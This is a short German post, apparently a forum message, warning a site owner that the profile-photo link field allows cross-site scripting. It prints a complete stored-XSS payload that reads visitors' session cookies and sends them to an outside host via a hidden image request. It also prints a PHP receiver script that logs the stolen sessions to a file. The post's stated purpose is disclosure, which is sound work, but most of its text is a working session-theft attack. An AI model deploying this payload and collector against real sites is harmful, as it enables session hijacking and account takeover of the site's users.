Kleiner hinweis deine Website lässt sich durch XSS leicht angreifen. Also jedenfalls die User der Seite.
Die Schwachstelle ist dort wo man den link für das profilfoto eintragen muss.
Trägt man dort folgendes ein:
PHP Code:
"></img><script> var theimg=document.createElement("img"), session=document.cookie, url="http://website.com/code.php?a=" + session; theimg.src=url; document.body.appendChild(theimg); theimg.style.display="none"; </script><img src="
Muss man nur ein Script erstellen das folgender maßen aussieht und code.php heißt:
PHP Code:
<?php
$currcode = $_GET["a"];
$daten = $currcode . "\n";
$datei_name = "data.txt";
$fp = fopen($datei_name, "a+");
fwrite($fp, $daten);
fclose($fp);
?>
Und schon wird von jedem der die Rangliste aufruft die Session in eine Datei geschrieben die auf einem fremden Server liegt. Kenne mich nicht so gut damit aus, daher kenne ich nur diese Methode.
Ich hoffe du änderst da noch was dran